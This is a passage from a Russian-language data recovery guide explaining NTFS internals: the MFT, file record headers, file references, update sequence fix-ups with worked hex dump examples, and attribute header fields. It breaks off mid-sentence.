Восстановление данных. Практическое руководство — страница 6 из 13

Файловая система NTFS — взгляд изнутри

В этой главе будут рассмотрены основные структуры файловой системы NTFS и ее основополагающие концепции — главная файловая таблица (MFT), файловые записи, последовательности обновления, атрибуты или потоки (streams), а также отрезки (data runs).

Без полноценного понимания этих концепций невозможно более или менее осмысленно работать с дисковыми редакторами или заниматься ручным либо полуавтоматическим восстановлением данных.

Введение

Файловую систему NTFS принято описывать как сложную реляционную базу данных, обескураживающую грандиозностью своего архитектурного замысла не одно поколение начинающих исследователей. NTFS похожа на огромный, окутанный мраком лабиринт, в котором очень легко заблудиться. К счастью, хакеры давно разобрались с основными структурами данных. Тем не менее, от магистральных коридоров лабиринта, ярко освещенных светом настенных факелов (и подсознательно ассоциируемых с хорошо исследованными структурами данных), отходит большое количество ответвлений. Эти ответвления освещены значительно хуже (если освещены вообще). Они хранят большое количество опасных ловушек, соответствующих особым случаям обработки структур данных, которые на первый взгляд кажутся знакомыми.

В отличие от драйвера, позволяющего только читать данные с томов NTFS, который можно запрограммировать буквально за один вечер (с отладкой!), написанием полноценного драйвера, позволяющего не только читать, но и писать данные на тома NTFS, заняться еще никто не рисковал. К счастью, никто и не требует от нас написания полноценного драйвера NTFS! Наша задача значительно скромнее — вернуть разрушенный том в состояние, пригодное для восприятия операционной системой или, по крайней мере, извлечь с такого тома все ценные файлы. Для этого совершенно необязательно вникать в структуру журналов транзакций, дескрипторов безопасности, двоичных деревьев. Иначе говоря, нам потребуется разобраться лишь с устройством главной файловой таблицы — MFT, а также нескольких дочерних подструктур.

Основными источниками данных по NTFS служат:

□ книга Хелен Кастер (Helen Custer) "Inside the Windows NT file system" (в русском издании она входит в состав книги "Основы Windows NT и NTFS"), подробно описывающая концепции файловой системы и дающая о ней общее представление. К сожалению, все объяснения ведутся на абстрактном уровне без указания конкретных числовых значений, смещений и структур. Кроме того, после выхода Windows 2000 и Windows XP, в файловую систему были внесены значительные изменения, никак не отраженные в упомянутой книге. Если вы не сможете найти эту книгу в магазинах — ищите её в файлообменных сетях. В них есть все! Например, попробуйте найти ее с помощью e-Mule (http://www.eMule.ru);

□ хакерская документация от коллектива "Linux-NTFS Project" (http://www.linux-ntfs.org/), чьим хобби долгое время была разработка независимого драйвера NTFS для Linux. К сожалению, сейчас энтузиазм команды начал стремительно угасать. Это выдающееся творение, подробно описывающее все ключевые структуры файловой системы (на английском языке), не заменяет книгу Кастер, но существенно расширяет ее;

Примечание

Разобраться в документации Linux-NTFS Project без знания основ NTFS очень и очень непросто! Поэтому рекомендуемый порядок чтения следующий: сначала прочтите книгу Хелен Кастер, затем приступайте к чтению хакерской документации.

□ документация от Active@Data Recovery Software, описывающая утилиту Active Uneraser (бесплатную копию этой утилиты можно найти на сайте http://www.NTFS.com). Это — своеобразное сочетание книги Хелен Кастер и документации Linux-NTFS Project, описывающее важнейшие структуры данных и обходящее стороной все вопросы, которые только можно обойти. Здесь же можно найти до предела выхолощенное изложение методики восстановления данных. В общем, если не найдете книгу Хелен, скачайте демонстрационную версию Active Uneraser и воспользуйтесь прилагаемой к ней документацией;

Примечание

Утилита Active Uneraser поставляется в двух вариантах — в виде образа дискеты и в виде образа CD. Сопроводительная документация присутствует только во втором варианте поставки.

□ контекстная помощь к программе Disk Explorer также содержит достаточно подробное описание файловой системы. Следует, правда, отметить, что это описание организовано на редкость бестолково и хаотично. Для упрощения навигации по тексту рекомендуется декомпилировать chm-файл в обычный текст, вручную преобразовав его в документ Microsoft Word, pdf, или любой другой симпатичный вам формат.

Наконец, вы можете воспользоваться этой главой. Тем не менее, наличие документации Linux-NTFS Project все же очень желательно, так как по ходу изложения материала данной главы я буду часто ссылаться на нее.

Версии NTFS

Служебные структуры файловой системы NTFS не остаются постоянными, а слегка меняются от одной версии Windows NT к другой (см. табл. 6.1). Этот факт следует принять во внимание при использовании автоматизированных "докторов". Столкнувшись с более свежей версией NTFS, "доктор", не оснащенный мощным искусственным интеллектом, может запутаться в измененных структурах и разрушить вполне здоровый том.


Таблица 6.1. Определение версии NTFS по версии Windows

Версия NTFSОперационная системаУсловное обозначение
1.2Windows NTNT
3.0Windows 2000W2K
3.1Windows XPXP
Совет

Как быстро узнать тип текущего раздела — FAT или NTFS? Это очень просто — достаточно попробовать создать в его корневом каталоге файл

$mft
— если он будет создан успешно, то это FAT. Если создать файл с таким именем в корневом каталоге диска невозможно, значит, этот диск отформатирован для использования NTFS. Чтобы быстро определить версию NTFS, попробуйте создать в корневом каталоге диска файл
$Extend
. Если такой файл будет создан успешно, то версия файловой системы — 3.0 или выше.

Взгляд на NTFS с высоты птичьего полета

Основным структурным элементом всякой файловой системы является том (volume), в случае с FAT совпадающий с разделом (partition), о котором мы говорили в прошлой главе. NTFS поддерживает тома, состоящие из нескольких разделов (рис. 6.1). Подробнее схему отображения томов на разделы мы обсудим в следующей главе, а пока будем для простоты считать, что том представляет собой отформатированный раздел (то есть раздел содержащий служебные структуры файловой системы).

Рис. 6.1. Обычный (а) и распределенный (б) тома

Большинство файловых систем трактуют том как совокупность файлов, свободного дискового пространства и служебных структур файловой системы, но в NTFS все служебные структуры представлены файлами, которые (как это и положено файлам) могут находиться в любом месте тома, при необходимости фрагментируя себя на несколько частей.

Основным служебным файлом является главная файловая таблица, $MFT (Master File Table) — своеобразная база данных, хранящая информацию обо всех файлах тома — их именах, атрибутах, способе и порядке размещения на диске. Каталог также является файлом особого типа, со списком принадлежащих ему файлов и вложенных подкаталогов. Важно подчеркнуть, что в MFT присутствуют все файлы, находящиеся во всех подкаталогах тома, поэтому для восстановления диска наличия файла

$MFT
будет вполне достаточно.

Остальные служебные файлы, называемые метафайлами (metafiles) или метаданными (metadata), всегда имеют имена, начинающиеся со знака доллара (

$
), и носят сугубо вспомогательный характер, интересный только самой файловой системе. К ним, в первую очередь, относится:
$LogFile
— файл транзакций,
$Bitmap
— карта свободного/занятого пространства,
$BadClust
— перечень плохих кластеров и т.д. Более подробная информация о них будет приведена далее в этой главе. Текущие версии Windows блокируют доступ к служебным файлам с прикладного уровня (даже с правами администратора!), и всякая попытка открытия или создания такого файла в корневом каталоге обречена на неудачу.

Классическое определение, данное в учебниках информатики, отождествляет файл с именованной записью на диске. Большинство файловых систем добавляет к этому понятие атрибута (attribute) — некоторой вспомогательной характеристики, описывающей время создания, права доступа и т.д. В NTFS имя файла, данные файла и его атрибуты полностью уравнены в правах. Иначе говоря, всякий файл NTFS представляет собой совокупность атрибутов, каждый из которых хранится как отдельный поток байтов. Поэтому, во избежание путаницы, атрибуты, хранящие данные файла, часто называют потоками (streams).

Каждый атрибут состоит из тела (body) и заголовка (header). Атрибуты подразделяются на резидентные (resident) и нерезидентные (non-resident). Резидентные атрибуты хранятся непосредственно в $MFT, что существенно уменьшает грануляцию дискового пространства и сокращает время доступа. Нерезидентные атрибуты хранят в $MFT лишь свой заголовок, описывающий порядок размещения атрибута на диске.

Назначение атрибута определяется его типом (type), представляющим собой четырехбайтное шестнадцатеричное значение. При желании атрибуту можно дать еще и имя (name), состоящее из символов, входящих в соответствующее пространство имен (namespace). Подавляющее большинство файлов имеет, по меньшей мере, три атрибута, к числу которых относятся: стандартная информация о файле (время создания, модификации, последнего доступа, права доступа) хранится в атрибуте типа

10h
, условно обозначаемом
$STANDARD_INFORMATION
. Ранние версии Windows NT позволяли обращаться к атрибутам по их условным обозначениям, но Windows 2000 и Windows XP лишены этой возможности. Полное имя файла (не путать с путем!) хранится в атрибуте типа
30h
(
$FILE_NAME
). Если у файла есть одно или несколько альтернативных имен (например, имя MS-DOS), таких атрибутов может быть и несколько. Здесь же хранится ссылка (file reference) на родительский каталог, позволяющая разобраться, к какому каталогу принадлежит данный файл или подкаталог. По умолчанию данные файла хранятся в безымянном атрибуте типа
80h
(
$DATA
). Однако при желании прикладные программы могут создавать дополнительные потоки данных, отделяя имя атрибута от имени файла знаком двоеточия (например:
ECHO ххх > file:attr1; ECHO yyy > file:attr2; more < file:attr1; more < file:attr2
).

Изначально в NTFS была заложена способность индексации любых атрибутов, значительно сокращающая время поиска файла по заданному списку критериев (например, времени последнего доступа). Индексы хранятся в виде двоичных деревьев, поэтому среднее время выполнения запроса оценивается как O(lg n). На практике в существующих драйверах NTFS реализована индексация лишь по имени файла. Как уже говорилось ранее, каталог представляет собой файл особого типа — файл индексов. В отличие от FAT, где файл каталога представляет собой единственный источник данных об организации файлов, в NTFS файл каталога используется лишь для ускорения доступа к содержимому каталога. Он не является обязательным, так как ссылка на родительский каталог всякого файла в обязательном порядке присутствует в атрибуте его имени (

$FILE_NAME
).

Каждый атрибут может быть зашифрован, разрежен или сжат. Техника работы с такими атрибутами выходит далеко за рамки первичного знакомства с организацией файловой системы и будет рассмотрена позднее. Пока же рассмотрим углубленно фундамент файловой системы NTFS — структуру

$MFT
.

Главная файловая таблица

В процессе форматирования логического раздела в его начале создается так называемая зона MFT (рис. 6.2). По умолчанию она занимает 12,5% от емкости тома (а не 12%, как утверждается во многих публикациях), хотя, в зависимости от значения параметра

NtfsMftZoneReservation
, она может составлять 25%, 37% или 50%.

Рис. 6.2. Структура тома, отформатированного под NTFS

В этой области расположен файл

$MFT
, изначально занимающий порядка 64 секторов и растущий от начала зоны MFT к ее концу по мере создания новых пользовательских файлов и каталогов. Чем больше файлов содержится на томе, тем больше размер MFT. Приблизительный размер файла MFT можно оценить по следующей формуле:
sizeof (FILE Record) * N Files
, где
sizeof(FILE Record)
обычно составляет 1 Кбайт, а
N Files
— полное количество файлов и подкаталогов раздела, включая недавно удаленные.

Для предотвращения фрагментации файла

$MFT
зона MFT удерживается зарезервированной вплоть до полного исчерпания свободного пространства тома, затем незадействованный "хвост" зоны MFT усекается в два раза, освобождая место для пользовательских файлов. Этот процесс может повторяться многократно, вплоть до полной отдачи всего зарезервированного пространства. Решение красивое, хотя и не новое. Многие из файловых систем восьмидесятых годов прошлого века позволяли резервировать заданное дисковое пространство в хвосте активных файлов, сокращая их фрагментацию (причем любых файлов, а не только служебных). Например, такая способность была у DOS 3.0, разработанной для персональных компьютеров типа "Агат". Может быть, кто-то из вас помнит такую машину?

Когда файл

$MFT
достигает границ зоны MFT, в ходе своего последующего роста он неизбежно фрагментируется, вызывая обвальное падение производительности файловой системы. При этом стоит заметить, что подавляющее большинство дефрагментаторов файл $MFT не обрабатывают! А ведь API дефрагментации, встроенный в штатный драйвер NTFS, обеспечивает такую возможность!

Примечание

Утилиту дефрагментации файла $MFT, а также подробное описание принципов ее работы, можно найти на сайте Марка Руссиновича (http://www.sysinternals.com). Но, как бы там ни было, заполнять том более чем на 88% его емкости категорически не рекомендуется!

При необходимости файл

$MFT
может быть перемещен в любую часть диска, и тогда в начале тома его уже не окажется. Стартовый адрес файла
$MFT
хранится в загрузочном секторе по смещению
30h
байт от его начала (см. описание структуры загрузочного сектора в гл. 5). В подавляющем большинстве случаев этот адрес ссылается на четвертый кластер.

Файл

$MFT
представляет собой массив записей типа
FILE Record
(в терминологии UNIX они называются inodes), каждая из которых описывает соответствующий ей файл или подкаталог. На практике один файл или подкаталог полностью описывается единственной записью типа
FILE Record
, хотя в теории этих записей может потребоваться и несколько.

Для ссылки на одну файловую запись из другой используется ее порядковый номер (он же индекс) в файле

$MFT
, отсчитываемый от нуля. Файловая ссылка (file reference) состоит из двух частей (см. табл. 6.2) — 48-битного индекса и 16-битного номера последовательности (sequence number).


Таблица 6.2. Структура файловой ссылки

СмещениеРазмер (байт)Описание
00h
6Индекс файловой записи (
FILE
record number), отсчитываемый от нуля
06h
2Номер последовательности (sequence number)

При удалении файла или каталога соответствующая ему файловая последовательность помечается как неиспользуемая. При создании новых файлов записи, помеченные как неиспользуемые, могут задействоваться вновь, при этом счетчик номера последовательности, хранящийся внутри файловой записи, увеличивается на единицу. Этот механизм позволяет отслеживать "мертвые" ссылки на уже удаленные файлы. Номер последовательности внутри файловой ссылки в этом случае будет отличаться от номера последовательности соответствующей файловой записи. Этой проверкой занимается утилита chkdsk, но автоматически она, насколько мне известно, не выполняется.

Первые 12 записей в MFT всегда занимают служебные метафайлы:

$MFT
(собственно, сам файл
$MFT
),
$MFTMirr
(зеркало
$MFT
),
$LogFile
(файл транзакций),
$Volume
(сведения о дисковом томе),
$AttrDef
(определения атрибутов),
'.'
(корневой каталог),
$Bitmap
(карта свободного пространства),
$Boot
(системный загрузчик),
$BadClus
(перечень плохих кластеров) и т.д. Более подробно эти записи описаны в табл. 6.11.

Первые четыре записи настолько важны, что продублированы в специальном файле

$MFTMirr
, находящемся примерно в середине тома (точный адрес этого файла хранится в загрузочном секторе по смещению
38h
байт от его начала). Вопреки своему названию, файл
$MFTMirr
— это отнюдь не "зеркало" всего файла
$MFT
, а всего лишь резервная копия первых четырех его элементов.

Записи с 12 по 15 помечены как используемые, в то время как в действительности они пусты. Как несложно догадаться, они зарезервированы для использования в будущем. Записи с 16 по 23 не задействованы и честно помечены как неиспользуемые.

Начиная с 24 записи, располагаются пользовательские файлы и каталоги. Четыре метафайла, появившихся в Windows 2000 —

$ObjId
,
$Quota
,
$Reparse
и
$UsnJrnl
, — могут располагаться в любой записи, номер которой равен 24 или больше (не забудьте, что нумерация файловых записей начинается с нуля).

Вот и вся теоретическая информация, необходимая на первых порах. Теперь можно приступать к практическому знакомству с NTFS. Для начала запустим утилиту DiskExplorer от Runtime Software, не забывая о том, что она требует прав администратора. В меню File найдем пункт Drive, и в появившемся диалоговом окне выберем логический диск, который требует редактирования. Затем из меню Goto выберем пункт Mft, заставляя DiskExplorer перейти к MFT, автоматически меняя режим отображения на наиболее естественный (рис. 6.3). Как вариант, можно нажать клавишу (View as File Entry) и пропустить несколько первых секторов нажатием клавиши .

Рис. 6.3. Утилита DiskExplorer отображает главную файловую запись в естественном формате

Для каждого из файлов DiskExplorer сообщает следующее.

□ Номер сектора, к которому данная файловая запись принадлежит. Обратите внимание, что номера секторов монотонно увеличиваются на 2, подтверждая тот факт, что размер одной файловой записи равен 1 Кбайт, хотя на практике можно столкнуться и с другими значениями. Для удобства информация отображается сразу в двух системах счисления — шестнадцатеричной и десятичной.

□ Основное имя файла/каталога (то есть имя файла из заголовка файловой записи). Стоит напомнить, что некоторые файлы имеют несколько альтернативных имен, более подробная информация о которых будет приведена далее в данной главе. Если имя файла или каталога зачеркнуто, это означает, что он был удален, но соответствующая ему файловая запись все еще цела. Чтобы извлечь файл с диска (не важно, удаленный или нет), подведите к нему курсор и нажмите клавиатурную комбинацию + для просмотра его содержимого в шестнадцатеричном виде или + — для сохранения файла на диск. То же самое можно сделать и через контекстное меню, выбрав подпункт Recovery. При нажатии клавиатурной комбинации + в буфер обмена копируется последовательность кластеров, занятых файлом, например:

DISKEXPL:K:1034240-1034240
.

□ Тип файловой записи, указывающий, файл это или каталог.

□ Атрибуты файла или каталога:

a
(archive) — архивный,
r
(read-only) — защищенный от записи, то есть доступный только для чтения,
h
(hidden) — скрытый,
s
(system) — системный,
l
(label) — метка тома,
d
(directory) — каталог,
с
(compressed) — сжатый.

□ Размер файла в байтах в десятичной системе счисления (не для каталогов!).

□ Дату и время модификации файла или каталога.

□ Номер первого кластера файла или каталога (или

resident
— для полностью резидентных файлов и каталогов).

□ Перечень типов атрибутов NTFS, имеющихся у файла или каталога, записанных в шестнадцатеричной нотации (обычно эта строка имеет следующий вид:

10 30 80
— атрибут стандартной информации, атрибут имени и атрибут данных файла). Более подробная информация по данному вопросу будет приведена далее в этой главе.

□ Индекс файловой записи в MFT, выраженный в шестнадцатеричной и десятичной системах счисления и следующий за словом No: (сокращение от Number — номер).

□ Индекс файловой записи родительского каталога, выраженный в шестнадцатеричной и десятичной системах счисления (

5h
— если файл принадлежит к корневому каталогу). Для быстрого перемещения по файловым записям выберите в меню Goto пункт Mft no и введите требуемый индекс в шестнадцатеричной или десятичной нотации.

□ Для нерезидентных файлов или каталогов — перечень кластеров, занятых файлом в закодированном виде (а зря — могли бы и декодировать). Схема кодирования кластеров подробно описана далее в данной главе.

Прежде чем продолжать чтение, попробуйте поэкспериментировать с файлами MFT (особенно фрагментированными). Посмотрите, как создаются и удаляются записи MFT. Лучше всего это делать на диске, содержащем небольшое количество файлов и каталогов. Чтобы не форматировать логический диск, создайте виртуальный (благо количество оперативной памяти современных компьютеров это позволяет).

Файловые записи

Благодаря наличию утилиты DiskExplorer от Runtime Software с файловыми записями практически никогда не приходится работать вручную. Тем не менее, знание их структуры нам не помешает.

Структурно файловая запись состоит из заголовка (header) и одного или нескольких атрибутов (attributes) произвольной длины, завершаемых маркером конца (end marker) — четырехбайтным шестнадцатеричным значением

FFFFFFFFh
(см. листинг 6.1). Несмотря на то, что количество атрибутов и их длина меняются от одной файловой записи к другой, размер самой структуры
FILE Record
строго фиксирован. В большинстве случаев он равен 1 Кбайт (это значение хранится в файле
$boot
, причем первый байт файловой записи всегда совпадает с началом сектора).

Внимание!

Не следует путать файл

$boot
с загрузочным сектором (boot sector).

Если реальная длина атрибутов меньше размеров файловой записи, то ее "хвост" просто не используется. Если же атрибуты не умещаются в отведенное им пространство, создается дополнительная файловая запись (extra FILE Record), ссылающаяся на свою предшественницу.

Листинг 6.1. Структура файловой записи

FILE Record

 Header                ; Заголовок

 Attribute 1           ; Атрибут 1

 Attribute 2           ; Атрибут 2

 ...                   ; ...

 Attribute N           ; Атрибут N

End Marker (FFFFFFFFh) ; Маркер конца

Первые четыре байта заголовка заняты "магической последовательностью"

FILE
, сигнализирующей о том, что мы имеем дело с файловой записью типа
FILE Record
. При восстановлении сильно фрагментированного файла
$MFT
это обстоятельство играет решающую роль, поскольку позволяет отличить сектора, принадлежащие MFT, от всех остальных секторов.

Следом за сигнатурой идет 16-разрядный указатель, содержащий смещение последовательности обновления (update sequence). Под "указателем" здесь и до конца раздела подразумевается смещение от начала сектора, отсчитываемое от нуля и выраженное в байтах. В Windows NT и Windows 2000 это поле всегда равно

002Ah
, поэтому для поиска файловых записей можно использовать сигнатуру
FILE*\x00
, что уменьшает вероятность ложных срабатываний. В Windows XP и более новых версиях последовательность обновления хранится по смещению
002Dh
, и поэтому сигнатура приобретает следующий вид:
FILE-\x00
.

Размер заголовка также варьируется от одной операционной системы к другой, и в явном виде нигде не хранится. Вместо этого в заголовке присутствует указатель на первый атрибут, содержащий его смещение в байтах относительно начала файловой записи и расположенный по смещению

14h
байт от начала сектора. Смещения последующих атрибутов (если они есть) определяются путем сложения размеров всех предыдущих атрибутов (размер каждого из атрибутов содержится в его заголовке) со смещением первого атрибута. За концом последнего атрибута находится маркер конца — значение
FFFFFFFFh
.

Длина файловой записи хранится в двух полях. Тридцатидвухразрядное поле реального размера (real size), находящееся по смещению

18h
байт от начала сектора, содержит совокупный размер заголовка, всех его атрибутов и маркера конца, округленный по 8-байтной границе. Тридцатидвухразрядное поле выделенного размера (allocated size), находящееся по смещению
1Ch
байт от начала сектора, содержит действительный размер файловой записи в байтах, округленный по размеру сектора. Документация Linux-NTFS Project (версия 0.4) утверждает, что выделенный размер должен быть кратен размеру кластера, но на практике это не так. Например, на моей машине длина поля выделенного размера равна четверти кластера.

16-разрядное поле флагов, находящееся по смещению

16h
байт от начала сектора, в подавляющем большинстве случаев принимает одно из следующих трех значений:
00h
 — данная файловая запись не используется или ассоциированный с ней файл или каталог удален,
01h
— файловая запись используется и описывает файл,
02h
— файловая запись используется и описывает каталог.

64-разрядное поле, находящееся по смещению

20h
байт от начала сектора, содержит индекс базовой файловой записи. Для первой файловой записи это поле всегда равно нулю, а для всех последующих, расширенных записей — индексу первой файловой записи. Расширенные файловые записи могут находиться в любых областях MFT, не обязательно расположенных рядом с основной записью. Следовательно, необходим какой-то механизм, обеспечивающий быстрый поиск расширенных файловых записей, принадлежащих данному файлу (просматривать всю MFT было бы слишком нерационально). Этот механизм существует, и основан он на ведении списков атрибутов (
$ATTRIBUTE_LIST
). Список атрибутов представляет собой специальный атрибут, добавляемый к первой файловой записи и содержащий индексы расширенных записей. Формат списка атрибутов будет подробно описан далее в этой главе.

Основные поля заголовка файловой записи описаны в табл. 6.3. Остальные поля заголовка файловой записи не столь важны, и поэтому здесь они не рассматриваются. При необходимости обращайтесь к документации "Linux-NTFS Project".


Таблица 6.3. Структура заголовка файловой записи (FILE Record)

СмещениеРазмер (байт)ОСОписание
00h
4ЛюбаяСигнатура
FILE
04h
2ЛюбаяСмещение номера последовательности обновления (update sequence number)
06h
2ЛюбаяРазмер (в словах) номера последовательности обновления и массива обновления (Update Sequence Number & Array), условно
S
08h
8ЛюбаяНомер последовательности файла транзакций (
$LogFile
Sequence Number или LSN)
10h
2ЛюбаяНомер последовательности (sequence number)
12h
2ЛюбаяСчетчик жестких ссылок (hard link)
14h
2ЛюбаяСмещение первого атрибута
16h
2ЛюбаяФлаги
ЗначениеОписание
0x00
Файловая запись не используется
0x01
Файловая запись используется и описывает файл
0x02
Файловая запись используется и описывает каталог
0x04
За справками обращайтесь к Биллу Гейтсу — вероятно, только он это знает
0x08
За справками обращайтесь к Биллу Гейтсу — вероятно, только он это знает
18h
4ЛюбаяРеальный размер (real size) файловой записи
1Ch
4ЛюбаяВыделенный размер (allocated size) файловой записи
20h
8ЛюбаяСсылка (file reference) на базовую файловую запись (base FILE record) или ноль, если данная файловая запись является базовой
28h
2ЛюбаяИдентификатор следующего атрибута (next attribute ID)
2Ah
2Windows XPИспользуется для выравнивания
2Ch
4Windows XPИндекс данной файловой записи (number of this MFT record)
2ЛюбаяНомер последовательности обновления (update sequence number)
2
S
-2
ЛюбаяМассив последовательности обновления (update sequence array)

Последовательность обновления

Будучи очень важными компонентами файловой системы,

$MFT
,
INDEX
и
$LogFile
нуждаются в механизме контроля целостности своего содержимого. Традиционно для этого используются коды обнаружения и коррекции ошибок (ECC/EDC codes). Однако на тот момент, когда проектировалась NTFS, процессоры были не настолько быстрыми, как теперь, и расчет корректирующих кодов занимал значительное время, существенно снижающее производительность файловой системы. Именно поэтому от использования корректирующих кодов пришлось отказаться. Вместо них разработчики NTFS применили так называемые последовательности обновления (update sequences), также называемые fix-ups.

В конец каждого из секторов, слагающих файловую запись (

INDEX Record
,
RCRD Record
или
RSTR Record
), записывается специальный 16-байтный номер последовательности обновления (update sequence number), дублируемый в заголовке файловой записи. При каждой операции чтения два последних байта сектора сверяются с соответствующим полем заголовка и, если драйвер NTFS обнаруживает расхождение, данная файловая запись считается недействительной.

Основное назначение последовательностей обновления — защита от "обрыва записи". Если в процессе записи сектора на диск исчезнет питающее напряжение, может случиться так, что часть файловой записи будет записана успешно, а другая часть — сохранит прежнее содержимое (файловая запись, как мы помним, обычно состоит из двух секторов). После восстановления питания драйвер файловой системы не может уверенно определить, была ли файловая запись записана целиком. Вот тут-то последовательности обновления и выручают! При каждой перезаписи сектора последовательность обновления увеличивается на единицу. Потому, если произошел обрыв записи, значение последовательности обновления, находящейся в заголовке файловой записи, не совпадет с последовательностью обновления, расположенной в конце сектора.

Оригинальное содержимое, расположенное "под" последовательностью обновления, хранится в специальном массиве обновления (update sequence array), расположенном в заголовке файловой записи непосредственно за концом смещения последовательности обновления (update sequence number). Для восстановления файловой записи в исходный вид необходимо извлечь из заголовка указатель на смещение последовательности обновления (он хранится по смещению 04h байт от начала заголовка) и сверить лежащее по этому адресу 16-байтное значение с последним словом каждого из секторов, слагающих файловую запись (

INDEX Record
,
RCRD Record
или
RSTR Record
). Если они не совпадут, значит, соответствующая структура данных повреждена. Использовать такие структуры следует очень осторожно (на первых порах лучше не использовать вообще).

По смещению

006h
от начала сектора находится 16-разрядное поле, хранящее совокупный размер номера последовательности обновления вместе с массивом последовательности обновления (
sizeof (update sequence number) + sizeof(update sequence array)
), выраженный в словах (не в байтах!). Так как размер номера последовательности обновления всегда равен одному слову, то размер массива последовательности обновления, выраженный в байтах, должен вычисляться следующим образом: (
update sequence number & update sequence array - 1)*2
. Таким образом, смещение массива оригинального содержимого равно:
(offset to update sequence number) + 2
. В Windows NT и Windows 2000 номер последовательности обновления всегда располагается по смещению
2Ah
от начала заголовка файловой записи или индексного заголовка, а поле
update sequence array
— по смещению
2Ch
. В Windows XP и более новых операционных системах эти значения располагаются по смещениям
2Dh
и
2Fh
соответственно.

Первое слово массива последовательности обновления соответствует последнему слову первого сектора файловой записи или индексной записи. Второе — последнему слову второго сектора и т.д. Для восстановления сектора в исходный вид необходимо вернуть все элементы массива последовательности обновления на их законные места (естественно, модифицируется не сам сектор, а его копия в памяти).

Чтобы проиллюстрировать сказанное выше, рассмотрим пример, приведенный в листинге 6.2.

Листинг 6.2. Оригинальная файловая запись до восстановления

--> начало первого сектора FILE Record

00000000: 46 49 4C 45-2A 00 03 00-7C 77 1A 04-02 00 00 00 FILE*...|w......

00000010: 01 00 02 00-30 00 01 00-28 02 00 00-00 04 00 00 ....0...(.......

00000020: 00 00 00 00-00 00 00 00-06 00 06 00-00 00 47 11 ..............G.

...

000001F0: 00 00 00 00-00 00 00 00-00 00 00 00-00 00 06 00 ................

<-- конец первого сектора FILE Record

...

000003F0: 07 СС E1 0D-00 09 00 00-FF FF FF FF-82 79 06 00 .Іа.....    Вy..

<-- конец второго сектора FILE Record

Сигнатура

FILE
указывает на начало файловой записи, следовательно, по смещению
04h
байт будет расположен 16-разрядный указатель на номер последовательности обновления. В данном случае он равен
002Ah
. Очень хорошо! Переходим по смещению
002Ah
и видим, что здесь лежит слово
0006h
. Перемещаемся в конец сектора и сверяем его с последними двумя байтами. Как и предполагалось, они совпадают. Повторяем ту же самую операцию со следующим сектором. Собственно говоря, количество секторов может и не равняться двум. Чтобы не гадать на кофейной гуще, необходимо извлечь 16-разрядное значение, расположенное по смещению
06h
от начала файловой записи (в данном случае оно равно
0003h
) и вычесть из него единицу. Действительно, получается два (сектора).

Теперь нам необходимо найти массив последовательности обновления, хранящий оригинальное значение последнего слова каждого из секторов. Смещение массива обновления равно значению указателя на последовательность обновления увеличенной на два, т.е. в данном случае

002Ah + 02h == 002Ch
. Извлекаем первое слово (в данном случае равное
00h 00h
) и записываем его в конец первого сектора. Извлекаем следующее слово (
47h 11h
) и записываем его в конец второго сектора.

В результате восстановленный сектор будет выглядеть, как показано в листинге 6.3.

Листинг 6.3. Восстановленная файловая запись

--> Начало первого сектора файловой записи

00000000: 46 49 4C 45-2A 00 03 00-7C 77 1A 04-02 00 00 00 FILE*...|w......

00000010: 01 00 02 00-30 00 01 00-28 02 00 00-00 04 00 00 ....0...(.......

00000020: 00 00 00 00-00 00 00 00-06 00 06 00-00 00 47 11 ..............G.

...

000001F0: 00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00 ................

<-- Конец первого сектора файловой записи

000003F0: 07 СС E1 0D-00 09 00 00-FF FF FF FF-82 79 47 11 .Іа.....    ВyG.

<-- Конец второго сектора файловой записи

Внимание!

FILE Record
,
INDEX Record
,
RCRD Record
или
RSTR Record
искажены последовательностями обновления и в обязательном порядке должны быть восстановлены перед их использованием, в противном случае вместо актуальных данных вы получите мусор!

Атрибуты

Структурно всякий атрибут состоит из атрибутного заголовка (attribute header) и тела атрибута (attribute body). Заголовок атрибута всегда хранится в файловой записи, расположенной внутри MFT. Тела резидентных атрибутов хранятся там же. Нерезидентные атрибуты хранят свое тело вне MFT, в одном или нескольких кластерах, перечисленных в заголовке данного атрибута в специальном списке. Если 8-разрядное поле, расположенное по смещению

08h
байт от начала атрибутного заголовка, равно нулю, то атрибут считается резидентным, а если единице, то атрибут нерезидентен. Любые другие значения недопустимы.

Первые четыре байта атрибутного заголовка определяют его тип. Тип атрибута, в свою очередь, определяет формат представления тела атрибута. В частности, тело атрибута данных (тип:

80h
$DATA
) представляет собой "сырую" последовательность байт. Тело атрибута стандартной информации (тип:
10h
$STANDARD_INFORMATION
) описывает время его создания, права доступа и т.д. Более подробно эта тема будет рассмотрена далее в данной главе.

Следующие четыре байта заголовка содержат длину атрибута, выражаемую в байтах. Длина нерезидентного атрибута равна сумме длин его тела и заголовка, а длина резидентного атрибута равна длине его заголовка. Если к смешению атрибута добавить его длину, мы получим указатель на следующий атрибут (или маркер конца, если текущий атрибут — последний в цепочке).

Длина тела резидентных атрибутов, выраженная в байтах, хранится в 32- разрядном поле, расположенном по смещению 10h байт от начала атрибутного заголовка. 16-разрядное поле, следующее за его концом, хранит смещение резидентного тела, отсчитываемое от начала атрибутного заголовка. С нерезидентными атрибутами в этом плане все намного сложнее, и для хранения длины их тела используется множество полей. Реальный размер тела атрибута (real size of attribute), выраженный в байтах, хранится в 64-разрядном поле, находящемся по смещению 30h байт от начала атрибутного заголовка. Следующее за ним 64-разрядное поле хранит инициализированный размер потока (initialized data size of the stream), выраженный в байтах. Судя по всему, инициализированный размер потока всегда равен реальному размеру тела атрибута. 64-разрядное поле, расположенное по смещению

28h
байт от начала атрибутного заголовка, хранит выделенный размер (allocated size of attribute), выраженный в байтах и равный реальному размеру тела атрибута, округленному до размера кластера (в большую сторону).

Два 64-разрядных поля, расположенные по смещениям

10h
и
18h
байт от начала атрибутного заголовка, задают первый (starting VCN) и последний (last VCN) номера виртуального кластера, принадлежащего телу нерезидентного атрибута. Виртуальные кластеры представляют собой логические номера кластеров, не зависящие от своего физического расположения на диске. В подавляющем большинстве случаев номер первого кластера тела нерезидентного атрибута равен нулю, а последний — количеству кластеров, занятых телом атрибута, уменьшенному на единицу. 16-разрядное поле, расположенное по смещению
20h
от начала атрибутного заголовка, содержит указатель на массив
Data Runs
, расположенный внутри этого заголовка и описывающий логический порядок размещения нерезидентного тела атрибута на диске.

Каждый атрибут имеет свой собственный идентификатор (attribute ID), уникальный для данной файловой записи и хранящийся в 16-разрядном поле, расположенном по смещению

0Eh
от начала атрибутного заголовка.

Если атрибут имеет имя (attribute Name), то 16-разрядное поле, расположенное по смещению

0Ah
